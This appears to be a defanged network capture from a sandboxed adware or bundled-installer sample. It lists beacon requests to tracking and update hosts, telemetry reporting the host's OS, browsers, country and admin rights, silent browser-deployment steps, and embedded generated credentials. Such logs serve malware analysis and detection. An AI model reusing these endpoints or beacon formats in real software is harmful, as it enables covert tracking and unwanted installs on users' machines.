hxxp://173.239.4.105/app/ping.ashx?e=QgW8pN5r26bof2QYjF1uPyGZf5tV7NUi56XqnYmheUgSZTerw9Y85dVUaX7QH4byNJ0yl9harBSLcjHZ8Eo6lQycnGOnYW3FW0VIswI6GNPXmz2ZWq7EeY4CjMIbuSmdGKzY45zi1OnWyB8eDAkaikyNo/Tb6k0OWO0o0lcgU2xnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVDCm4 jApsJwUl7nMCA Puxn33L58g5Vfvh4hRH7uafCPlIFwve8uU r3mRAuGMAAM9 inPTLZDtg=
hxxp://173.239.4.105/app/ping.ashx?e=lOCrbsNL2zXk4TYbHkoM1EXC18i8H/ZSkEv4eEwUcGvZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutOeXK1HgKvEMUWbVgwixNWPOtYPxFebybOT2Ivb7ZSUhZtcNn99AarGKzY45zi1OnWyB8eDAkaihrzHkXTPDbIs2bRVJi5NlOrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXnJa1FhA/wE TvEn2nDKBLzC/lQLguKSQ5P4IP6Qq40NMNNb1R6SBDrHvotX5mTYu/9/CpuCTIAF0=
hxxp://online.goobzo.com/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.5&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList=	173.239.4.56
hxxp://online.goobzo.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=555c681c-bef1-485b-a8f4-c342b7ce2d91&Password=gDxC9Bha&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429690897&SBPIDS=1&KA=1	173.239.4.56
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=555c681c-bef1-485b-a8f4-c342b7ce2d91&Password=gDxC9Bha&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429690897&SBPIDS=1&KA=1	173.239.4.56
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=c0XmKevqA0lyNANDBIBbAqjOoZRs4Z 4 0R MP RL3VKgFoRkIu6RpNh8S9i4d0Hnb22gmYS8RsDllQ9J4QRpkb2k6Rn898YXCSgtUXqN5/aaUzToxOfiz0mbos5SmUuL1RonSUM0G8HF9ed47qLJdLkq GrncHeyXBDP8Ld0 yRF51HAH62ECVvD8H/vspbnlzTexKMK8SG7NLJhlXAptjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Bjt6DgsNnxOwUbmkSx2157mT/v0ajD3y	54.197.238.106
hxxp://online.goobzo.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList=	173.239.4.56
hxxp://173.239.4.105/app/ping.ashx?e=fx25sIC5hWOfZNC1TqAoBJengxtxU5B2TEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPvYQ7YSDf5fYXOWigz0aHloM9C2BoWbdEkyeawv50oOJw4LO6ub5l5rBjqlmzKnb11WfmaK7dF89zNhnv/igXYxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kjynWwnXRJTWnd3Szt4bQxRHjDFq fkydjBeK4wy7RZBmSO/7e6U1g/ea83RtHqGthw8SfsOq8sVv
hxxp://173.239.4.105/app/ping.ashx?e=aQQpsP6/AW3U0UsIWSR1jU2GlRd1yBaW62ls PLHCLDT03ZwnpMmrnnHkVEbFY2mfzS3wiEn2jlzeGB1LSz5192WlsizKnL fy1YDMsMq5k0A75TMG4v BbKdUb4fSU3inFskWrXAmXG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPKdbCddElNad3dLO3htDFEeMMWr5 TJ2MF4rjDLtFkGZI7/t7pTWD9w11RDfNoqAKDxJ w6ryxW8=
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=043Mckb8Lnj5nRk39lR6RSGZf5tV7NUiQN2G3STfV1oSZTerw9Y85XkjLFx9TDtKsPYyGQt5yHQzixC5kmTb5s610XCmzC22BHIQSAUi/qZ6ui3jv/3sP/4jVWMunDHWleI3B6uYg8lqpwuyqc3XiTEOgAi5qcHFAjty0U0tb3YV31 7Nekt0xm46XXR1FJOL iC/H71WQ Kfz/LBnabZ4tyMdnwSjqVyrGxS5fpqxv3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OdBaNFR1Cr06TJP9M3NuQpnzbANYrsS2gQQxJ9I93iAyu0ButGm56Bf/Uc/anY3mQOZi02 fPW7D38JdoZvbQDv3AqTFiqNP5w==	54.197.238.106
hxxp://online.goobzo.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=6c547230-b3a9-4235-8048-b58573bb7041&Password=Jhbh8dCq&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1429690899&SBPIDS=1&KA=1	173.239.4.56
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=043Mckb8Lnj5nRk39lR6RSGZf5tV7NUiQN2G3STfV1oSZTerw9Y85XkjLFx9TDtK4f0FPuKZzqbDw9aNRtMZqyZMAOD3mcq6qIs V7Ds6CRuZZIi5/tojmg8l4itKbh/HiBn688lkcr8toCm18jzwzsvB25MJtnS1urDxSq54gttr9SYvZpGaeXM3AOyMolLlL47zzk5bq7iiBgYFKkeG4zwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbOko2GBeYu4Js7F084kEIF6/Qhoytxt9L9wKkxYqjT c=	54.197.238.106
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=6c547230-b3a9-4235-8048-b58573bb7041&Password=Jhbh8dCq&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1429690899&SBPIDS=1&KA=1	173.239.4.56
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/7790.ashx?e=uWabAt9SLcz1rEcPDUvKZrLCN3RAljpsZ7cu GLkj0D8ln8Iap23//2TEkHeJNDUga zuhV9q9EnI2D80hMyTfKiWnlKjT8nmtnRdFSmbGuENvzEMy06jATxIUcsgQ wO1MeTElIgRus2zM3OKTsdhhqfTLLUt3A0w03bJUd6M5cawjxCdlsdIs6jkgM9xnGdsGPZKyniMHL Evyupn5FoSAG857z6vSwF4eCz1DvrniLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvfwqbgkyABd	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/18865.ashx?e=XOxRKBm2zlx2gtIu55M0yrLCN3RAljpsZ7cu GLkj0D8ln8Iap23//2TEkHeJNDUga zuhV9q9ERX79TH4EL301Vil/xL560z3HjAX5f3Ms/caEgn1aywnSpt9GSHWXQjyJC8MAmcYofyqeYLIru/skFM nYXmDEL4yGuSrT3L/4y49ULAFDJjOm3A3nSXCDDqZm84mZltXkERNHBe5a3/5OmEDwJ/nJy0n5cCJyqEpnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYMiISMf8I5JK	198.232.124.192
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=555c681c-bef1-485b-a8f4-c342b7ce2d91&Password=gDxC9Bha&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429690899&SBPIDS=0	173.239.4.56
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/26773.ashx?e=XOxRKBm2zlx2gtIu55M0yrLCN3RAljpsZ7cu GLkj0D8ln8Iap23//2TEkHeJNDUga zuhV9q9E25WOCvP1grGvtcIuz9bMoDyhRDL0PLalNTvXaKqGxaNCUHeR8YCF3eHvRF2LX Yt4KY4qKL6xah1lOMOIqPyebLCBXnZHg3MFPgOpImHIzeY4MKoaVft0VQACmRxohL6puHhIRrwqOuPQbi9J/L4Un7VGscQsWmG0rXCKv72ck3a4leJj3gd30GxQkL QSvRXZhP8niUnuouQlrWxrEbh307rxaZ1a5SIkhsArw0dj8zg11Zya4vLW0RgB7IP YB0jkP9WgxEx9I4XwGR9EbgCdb0Dd4xhSv 1J0U syReC1svLRNv5uqTcyQFgmQvaXQpojaFkJmFPfd/83uoJ1QfIPihIO LQJXwV9ydvg ny5BkrEKzn8rg5O62wFzDmx45WF4clj5xtzKEv37udDSeG7SWcjRf4QvtzO Ow1rb2IeMW03dSlmZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmDIiEjH/COSSg==	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/26773.ashx?e=XOxRKBm2zlx2gtIu55M0yrLCN3RAljpsZ7cu GLkj0D8ln8Iap23//2TEkHeJNDUga zuhV9q9E25WOCvP1grGvtcIuz9bMon14WGxPVpt5CrKRl6uWYlY4G r 3F6T7iJiWa2JIZk6M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/12502.ashx?e=4mC0vXGWFtpLIQoO9u2NqiGZf5tV7NUiW1tgKrNy38kDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/ixO6Rp7XuOM0CN9h bV19VoPPb/i9FtJTgL4xsffnkQbPiCC4paVhdAGW4B5KF0X3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lz8lbkb0am4Y	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/12502.ashx?e=4mC0vXGWFtpLIQoO9u2NqiGZf5tV7NUiW1tgKrNy38kDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/ixO6Rp7XuOM0CN9h bV19VdXQO8eCkzNk9LWPkwGrB/imF904v4t2DTTuHrYVulo109x0h yMmOq3 e5cYLWVDvEq1XCmEIT/KGwMMc0gnpNgExseWQzn2EHlpLL4kVIVRJZefzfQYZofIeaN2K162EghD3HnQv1a/gCZD66/sdSVKFBzVQWjB05oujAfFWpTOgMsHybNe40DPXjVNm atrHsr10IkKsruX7BCtHf6UPtw4 /14NvCeXF a8uH5B6JyaeWsFlhCm4ldslWa se8yRPjkBZF8rSGQI7yg9q76fgRK767/K4N7Ox2sptuWqNJxXQawroNmbktPzt6FdqMa0vJ6oECP23x/pimJHbwt/saWmBvzoxegJbZL45kOeZTnxk34KukeUhRgBI9gVsBWE949qIFc0NnHqPoiMqfasyuDjWX8vLsJJPlhy2jdwTqcwBDTHruRy5x0Up4A3P	198.232.124.192
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=WL9usJOVMsPXmto/P2xI1iGZf5tV7NUiQN2G3STfV1oSZTerw9Y85XkjLFx9TDtKeHo6FOnjNt3Tp8VZQ/4p3GXCKyxfyg8N9A8dpvtBeO2hc3DbjNrW8PQYnQ1xoKSBiZYn8TH3Pe3MlW9RFqOniiR/VPwArHZ1QMCg3fniKLWzp3t4zCe899YNvMh53GZdNQrsYrsFnfQveIgyiaeHisUWbVgwixNWMVUtRMOhS7DYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW aNKDh4dmbgaJe7HkSXGWaDoPSg3RKv2VNZ2uNpJ5fHbdqeQ4cI sVrMZOEwh/nVZVdH83K8hgUttteLo8BXfHo=	54.197.238.106
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=WL9usJOVMsPXmto/P2xI1iGZf5tV7NUiQN2G3STfV1oSZTerw9Y85XkjLFx9TDtKsPYyGQt5yHQzixC5kmTb5s610XCmzC22BHIQSAUi/qZ6ui3jv/3sP/4jVWMunDHWleI3B6uYg8lqpwuyqc3XiTEOgAi5qcHFAjty0U0tb3YV31 7Nekt0xm46XXR1FJOL iC/H71WQ Kfz/LBnabZ4tyMdnwSjqVyrGxS5fpqxv3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OdBaNFR1Cr06TJP9M3NuQpnzbANYrsS2gQQxJ9I93iAyu0ButGm56Bf/Uc/anY3mQOZi02 fPW7D38JdoZvbQDv3AqTFiqNP5w==	54.197.238.106
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=A3ANzFv7fWBMy1Jq1olDf3I0A0MEgFsCUxwg0ZDUHgPdEMPgzYwqeWQ14on7GBy1H8FvIvBulFZLg2W8Sjc jbEjSipAlycxZuS0/O3oV2qLgeb09PU5GTNRcMpAwcBWJe5zAgPj7sZ99y fIOVX74eIUR 7mnwjewCD58w6u8zDtFzkcx43pfkIt A1fNYZvQAY7labZ/L/Gp5D/J/XcqyrehRRRow5j8HEnk34z92MM1rQPB7y4SRp8fXqeUHHaq/aMlQSbm32 iB69ZXsQIs5NNwGglX3b1LhDU6By4NnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYLeE9x6iyf1Thv3VXXdmULoJEL0JZoguDn5dMiu8MPG0/Ty/9D OEZC7QG60abnoF/9Rz9qdjeZA5mLTb589bsPNoSRHDbz9a17BfNKLuO/a	54.197.238.106
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=AZwPyJy3TZjGyhYhIfEQnHI0A0MEgFsCyUiIpZuZx vdEMPgzYwqeWQ14on7GBy10Z2od4/JytiUTOMPdFXY/7OjtqelOAq59LOYzccS58ARoGJKEMpEhX5dMiu8MPG0/Ty/9D OEZC7QG60abnoF/9Rz9qdjeZA5mLTb589bsPW6gtNeseSjM8JTwZBXEaArZ2BLw79NpCFt2wTTo5NME5QN0wFADGiZiwA7PPuGba/qYydEVX0aAnwW/N63H3ZmAZw QwVDYSqKgh2j1MECjUHvfSxtRSnxSJhvsAC26xG4Kswyw6eNNjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5/FbCMRz6yfaLjfmcl3PyL5GhRXiiBAM3RDecOO4yPd7dRQ1iDuTWCHerLjg0wWOeIRz 2mBYX7hAI rSxlsmakMO59dZy vi0T4d7cYivHw=	54.197.238.106
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/26773.ashx?e=hpY1rXLYst7XN7SCySESdxbYZRf/C3T/sg7jyZ2P5QEDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/hr0m58B4wFS2iZCCrzprTQ2/M8jJQIzSfeAVcyDPrG1hQC drCF7eFHh/LPABvBAscXPNbtq4ApuOFLk2t6neQ zLrLpIjsRXrErQ9Bnn0aJ48i0s7dJ/Bbyx1MJEBjl89qubDp5/hPwTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cKA3e4YdyjH0=	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/12502.ashx?e=siwKo8d7dVRFwtfIvB/2UtEz ZGPN9/jA5kVqVgWdAgLxC0aXqYrYyox39H7ctISRrhYDEqCWw2e1VICYqbavCwefCzEcdtXzilmHeLhjQAfzFzOb8vBLPiCC4paVhdEfn1yYp1le56aFvKP4OneYOe 5kzw4WYNs4P7gl7opWNKEGtOzYkhrnzwx7QvSupF9XRoFpwhAXAXh4LPUO ueIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa9/CpuCTIAF0=	198.232.124.192
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=100&n=init_start_funnel_step_name&rnd=1429690905
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=100&n=init_start_funnel_step_name&rnd=1429690905
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=555c681c-bef1-485b-a8f4-c342b7ce2d91&Password=gDxC9Bha&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&XMLUpdateFailed=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1429690906&SBPIDS=0	173.239.4.56
hxxp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=554942&mode=nolsp	107.20.238.80
hxxp://ipgeoapi.com/	23.23.138.123
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=started&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-22&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=97E0D9D934E84791AE8E9FB2AE590BFCPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNE13c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_36&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&mdat=&procstarttime=1429690905&procruntime=3&rnd=1429690908
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=started&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-22&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=A95FE5811DB848B88766ECAF84B0AC31PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNE16dHNtdHljMCw0NjA5ZjM1ZS1mZmY0LTQ3OTctODdiYS0wNThkYmI4ODIyY2EsIiwidW5xIjoiNDYwOWYzNWUtZmZmNC00Nzk3LTg3YmEtMDU4ZGJiODgyMmNhIn19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_32&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&mdat=&procstarttime=1429690905&procruntime=3&rnd=1429690908
hxxp://s3-website-us-east-1.amazonaws.com/installer-error.gif?action=sesamy&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-22&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=A95FE5811DB848B88766ECAF84B0AC31PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNE16dHNtdHljMCw0NjA5ZjM1ZS1mZmY0LTQ3OTctODdiYS0wNThkYmI4ODIyY2EsIiwidW5xIjoiNDYwOWYzNWUtZmZmNC00Nzk3LTg3YmEtMDU4ZGJiODgyMmNhIn19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429690905&procruntime=3&rnd=1429690908
hxxp://s3-website-us-east-1.amazonaws.com/installer-error.gif?action=sesamy&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-22&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=97E0D9D934E84791AE8E9FB2AE590BFCPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNE13c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429690905&procruntime=3&rnd=1429690908
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429690905&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429690905
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429690905&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429690905
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=200&n=init_end_funnel_step_name&rnd=1429690909
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=200&n=init_end_funnel_step_name&rnd=1429690909
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=300&n=deploy_start_funnel_step_name&rnd=1429690909
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=300&n=deploy_start_funnel_step_name&rnd=1429690909
hxxp://test.youtubeaccelerator.com/youtube_accelerator/wizardtest/SMALLTEST.HTM?random=558155&mode=nolsp	107.20.238.80
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=AZwPyJy3TZiu PbZ6jHEZkXC18i8H/ZS2ARC6j2XOabc 6Z9uWa7kH0QpZ Jj0 v3D2calArHLvSr4mOXafqVOowNKLwk dee2YPwOTHZ23FMUhKGphgZMFeXk7XK Cm iw914gjrdwO g3f1lhigAaUHeuVfIIXRg7/hK3VBgOhwSHWywN/dCO9IPgnNOO9F8 yMDBivPQE43pumJ80/3Rk5HeoMrM0SSIzVepUeyk3mT/FXSi7eMMHU6Vj8n/WZ5Sx1jghZjZodHAWjIfa0KMuf0vrGjKsSjZn8hkx2mcTnFaBeO7fW4zwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPboL08t5jBho9OXal8/X5V43Mz3oCwkcphYOU1y/YINRGoi/vn8Jrvmnd0s7eG0MUR4wxavn5MnYwXiuMMu0WQZkjv 3ulNYP3r5Ajr8ZaTjk=	54.197.238.106
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1429690910
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1429690910
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=500&n=deploy_notification_start_funnel_step_name&rnd=1429690910
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=500&n=deploy_notification_start_funnel_step_name&rnd=1429690911
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1429690911
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1429690911
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=700&n=deploy_ch_start_funnel_step_name&rnd=1429690911
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=700&n=deploy_ch_start_funnel_step_name&rnd=1429690911
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=800&n=deploy_nova_start_funnel_step_name&rnd=1429690911
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=800&n=deploy_nova_start_funnel_step_name&rnd=1429690911
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=900&n=deploy_ff_start_funnel_step_name&rnd=1429690911
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=900&n=deploy_ff_start_funnel_step_name&rnd=1429690911
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=1&index_in_screen=1&index_in_session=1&display_height=110&0.9178741480869026
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1429690916
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1429690916
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1429690916
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1429690917
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1429690918
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=10000&n=deploy_end_funnel_step_name&rnd=1429690918
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1429690918
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1429690918
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1429690919
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=10000&n=deploy_end_funnel_step_name&rnd=1429690919
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=finished&LFMR=_ffDll_0&app=70299&appver=&ver=1_36_01_22&version_date=15-04-22&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=97E0D9D934E84791AE8E9FB2AE590BFCPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNE13c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_36&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429690905&procruntime=15&rnd=1429690920
hxxp://s3-website-us-east-1.amazonaws.com/apps.gif?action=install&app=70299&appver=&ver=1_36_01_22&version_date=15-04-22&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=97E0D9D934E84791AE8E9FB2AE590BFCPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNE13c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1429690905&lifetime=0&silent=1&crtnm=na&procstarttime=1429690905&procruntime=15&rnd=1429690920
